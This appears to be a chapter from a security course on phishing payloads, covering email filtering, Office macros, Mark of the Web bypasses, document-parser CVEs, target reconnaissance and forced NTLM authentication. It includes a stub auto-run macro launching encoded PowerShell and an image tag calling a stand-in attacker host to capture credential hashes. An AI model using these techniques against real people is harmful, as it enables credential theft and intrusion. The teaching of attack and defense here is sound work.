Malicious Payloads

The Bottleneck

Phishing has two halves. The first half is getting the email read (covered in Phishing Basics). The second half is what’s inside the email when it gets opened.

This chapter is about the second half. The thing the victim is supposed to open, click, or run.

• The defender’s problem: stop the bad payload from reaching the user, or stop the user from running it if it does.
• The attacker’s problem: get the payload past the filters, then get the user to run it without setting off any warnings.

Most modern phishing failures aren’t because the pretext was bad. They’re because the payload got caught, or because the user clicked but nothing happened.

The Email Filter Gauntlet

Before any payload reaches a victim, it has to survive a chain of inbound filters. Understanding the chain tells you what to avoid.

Reputation Block Lists

The first gate. Every inbound email’s sender domain gets checked against a reputation database:

• Has this domain sent spam before?
• Has it sent phishing before?
• Is it brand new (days or weeks old)?
• Is it on any threat intel lists?

A bad reputation is death. The email never reaches the inbox.

This is why serious attackers don’t send from fresh disposable domains. They use:

• Aged domains purchased from resellers, older than 6 months, with no negative history
• Compromised legitimate accounts with perfect reputation, free
• Lookalike domains with no prior reputation in either direction

SPF, DKIM, DMARC

Authentication checks that verify the email actually came from where it claims.

A modern attacker either passes all three or doesn’t try. Failures usually mean spam folder at best, hard reject at worst.

Compromising a real account skips all three checks. This is why low-and-slow account takeovers are the prelude to most successful spear phishing campaigns.

Attachment Scanning

Once the email itself looks legitimate, the attachments get inspected:

• Extension blocklists (.exe, .scr, .bat, .vbs, .js)
• MIME type checks (does the content match the declared extension?)
• Signature scanning (AV signatures against the file contents)
• Sandbox detonation (open the file in a VM, watch for malicious behavior)

The more an organization invests in email security, the more aggressive these checks get. Enterprise environments will sandbox every PDF and every Office document on the way in.

The [EXTERNAL] Tag

A simple but effective defense. Any email from a domain outside the organization gets a prefix added to its subject:

[EXTERNAL] Your Zoom license expires tomorrow

This breaks the illusion of “internal email” instantly. Even a well-crafted spoof of [email protected] shows up with the tag if it didn’t actually come from inside the corporate mail server.

Attacker workarounds:

• Compromise an internal account (no tag added)
• Get the recipient to whitelist the sender (often via a benign pre-phishing exchange)
• Use a vendor’s domain that the recipient already trusts and may have whitelisted

Bypass Patterns

When the payload is the problem, attackers shift the payload form:

Every filter is a forcing function, not a wall. Each defense pushes attackers toward techniques the defenders haven’t caught up to yet.

Office Macros

Office macros were the phishing payload for two decades. They’ve been so abused that Microsoft now actively breaks them by default, but they remain useful because so many organizations run outdated configurations.

What a Macro Is

A macro is a small program written in Visual Basic for Applications (VBA), embedded inside a Word, Excel, or PowerPoint document. They were designed for automating repetitive tasks: formatting, data entry, calculations.

But VBA can do almost anything Windows can do:

• Run shell commands
• Download files from the internet
• Modify the registry
• Inject code into other processes

A malicious macro is just a normal macro that does bad things when the document opens.

Sub AutoOpen()
    Shell "powershell -e <base64 payload>"
End Sub

The AutoOpen name is the trigger. Word runs the subroutine automatically when the file opens.

Mark of the Web

The central defense against malicious macros is a Windows feature called Mark of the Web (MotW).

When a file is downloaded from an external source (email, browser, network share), Windows tags it with a Zone.Identifier attribute stored in NTFS:

[ZoneTransfer]
ZoneId=3

The zone IDs:

Any application that respects MotW can read this attribute and change its behavior based on the file’s source. Office reads it.

The Defense Chain

When MotW is present on a downloaded document, Office applies a series of escalating restrictions:

1. Protected View opens the document in read-only mode with a yellow warning bar
2. Editing requires the user to click “Enable Editing”
3. Macros remain disabled even after editing is enabled
4. Running macros requires another explicit click on “Enable Content”
5. Since 2022, files with MotW have macros blocked entirely by default, with no “Enable Content” button visible at all

Each layer adds friction. A user who’ll click through one warning might think twice about clicking through four.

MotW Bypasses

The defense isn’t perfect. Attackers have found ways to deliver files without the MotW flag being applied:

• Container files (.iso, .img, .vhd): when mounted, the files inside have no MotW
• CVE-2022-41091: a vulnerability that prevented MotW from being applied to files inside ZIP archives
• Symbolic links and archive formats with broken MotW propagation
• Second-stage payloads delivered by a downloader that doesn’t set MotW on its output

The pattern: any path that gets a file onto disk without going through “downloaded from the internet” skips the flag entirely.

Group Policy

In well-managed enterprises, administrators enforce macro restrictions via Group Policy. Common configurations:

• Block macros from running in Office files from the internet (the modern default, enforced)
• Disable all macros without notification (no “Enable Content” button at all)
• Allow only digitally signed macros

GPO-enforced restrictions can’t be overridden by individual users. This is the real killer for macros as a phishing vector against modern environments.

Beyond Macros

When macros are blocked, attackers turn to file types and document features that don’t trigger the macro defenses at all.

Dangerous File Types

A non-exhaustive map of file types that can execute code when opened:

The pattern: file types the email filter doesn’t know are dangerous. As enterprise filters catch up to one format, attackers move to the next.

Document Parser CVEs

The most powerful “no macros required” approach: exploit a vulnerability in the software that opens the document, not the document itself.

The classic example is CVE-2017-11882 in Microsoft Office’s Equation Editor (EQNEDT32.EXE):

• Equation Editor was bundled with Office for 17 years (2000 to 2017)
• It runs as a separate process that handles embedded math equations
• It predates modern Office security: no ASLR, no DEP enforcement, no MotW handling
• A malformed equation OLE object triggers a stack buffer overflow
• Shellcode runs with the user’s privileges, no warnings, no macros, no Enable Content button

The attacker embeds a malicious equation in a Word document. The victim opens the document. Word loads Equation Editor to render the equation. Equation Editor crashes into attacker-controlled shellcode.

No macros. No Enable Content. No Protected View bypass needed. The macro defenses don’t apply because no macro is running.

Other Notable Document CVEs

Each of these is a working RCE primitive against fully-licensed software, requiring zero macro interaction. The mitigation in every case is patching, which many environments do slowly.

Researching Target Software

The most successful payloads target software the victim actually has installed. Generic payloads get caught. Targeted payloads slip through because they match the victim’s environment exactly.

Where the Information Hides

Public sources reveal an organization’s tech stack with surprising fidelity:

• LinkedIn job postings: required tools and software versions, often spelled out
• Glassdoor and Indeed reviews: employees mentioning daily-driver software
• Engineering blog posts: build pipelines, internal tooling
• Conference talks: case studies often reveal exact versions and configurations
• Public GitHub repos: dependency files (requirements.txt, package.json, Gemfile.lock)
• Procurement and vendor lists: visible in SEC filings for public companies
• Wappalyzer and BuiltWith for the web stack
• Software review sites like G2 and Capterra: reviews from named employees with job titles

From Software to Exploit

The full chain, end to end:

1. Identify the target’s software (“they use AutoCAD 2018 based on three job postings”)
2. Search CVE databases for vulnerabilities in that exact version
3. Find or build a working exploit (Exploit-DB, GitHub, security blogs)
4. Wrap it in a plausible pretext (“here’s the updated drawing file from the contractor”)
5. Deliver via a file format the target’s software opens natively

A 0-day is rarely necessary. Most enterprises run software that’s months or years behind on patches. An N-day exploit against a known vulnerability they haven’t patched yet is just as effective and much cheaper.

Link-Based Payloads

Sometimes the payload isn’t a file at all. It’s a URL that delivers the attack when opened, or even when not opened.

Drive-By Compromise

A link that points to a malicious page exploiting a browser vulnerability. The user clicks, the page loads, the browser is compromised, no further interaction needed.

This was extremely common in the Internet Explorer era. Modern browsers (Chrome, Firefox, Edge) have aggressive sandboxing that makes drive-by attacks much harder, but they still exist:

• Chrome 0-days are bought and sold for six-figure sums
• Outdated mobile browsers are easier targets
• Embedded browsers (inside chat apps, email clients) often lag the main browser in patches

Forced Authentication via Embedded Resources

A link doesn’t have to be clicked to leak credentials. Email clients automatically fetch embedded resources (images, iframes, prefetched links) the moment the email is opened.

If those resources point to an attacker’s server speaking SMB or WebDAV, the victim’s machine will attempt to authenticate to that server. Windows happily sends NTLM credentials by default.

The attacker’s flow:

1. Set up a listener that speaks SMB (Responder, impacket-smbserver)
2. Send an email with an embedded image: <img src="\\attacker.com\img.png">
3. Wait for the victim to open (not even click) the email
4. Capture the NetNTLMv2 hash from the SMB handshake
5. Crack the hash offline with hashcat, or relay it live with ntlmrelayx

The user did nothing except open the email. No warning, no click, no attachment. Credentials gone.

Defenses are improving (Outlook blocks remote images by default in some configurations, modern Windows restricts NTLM over the internet) but this attack still works in many environments, especially against internal phishing from a compromised account.

What This Adds Up To

Email defenses are layered, but every layer has gaps:

• Reputation filters miss compromised legitimate accounts
• Attachment scanners miss novel file formats and unknown CVEs
• MotW and Protected View can be bypassed with container files
• Macro restrictions don’t apply to document parser exploits
• Link blocking doesn’t help when the link is to a “trusted” cloud service
• Embedded image fetching can leak credentials without any user action at all

The attacker only needs to find one gap. The defender needs to close them all.

The payload landscape is a moving target. What works today won’t work in two years. The defense will catch up, attackers will move to the next format, and the cycle continues.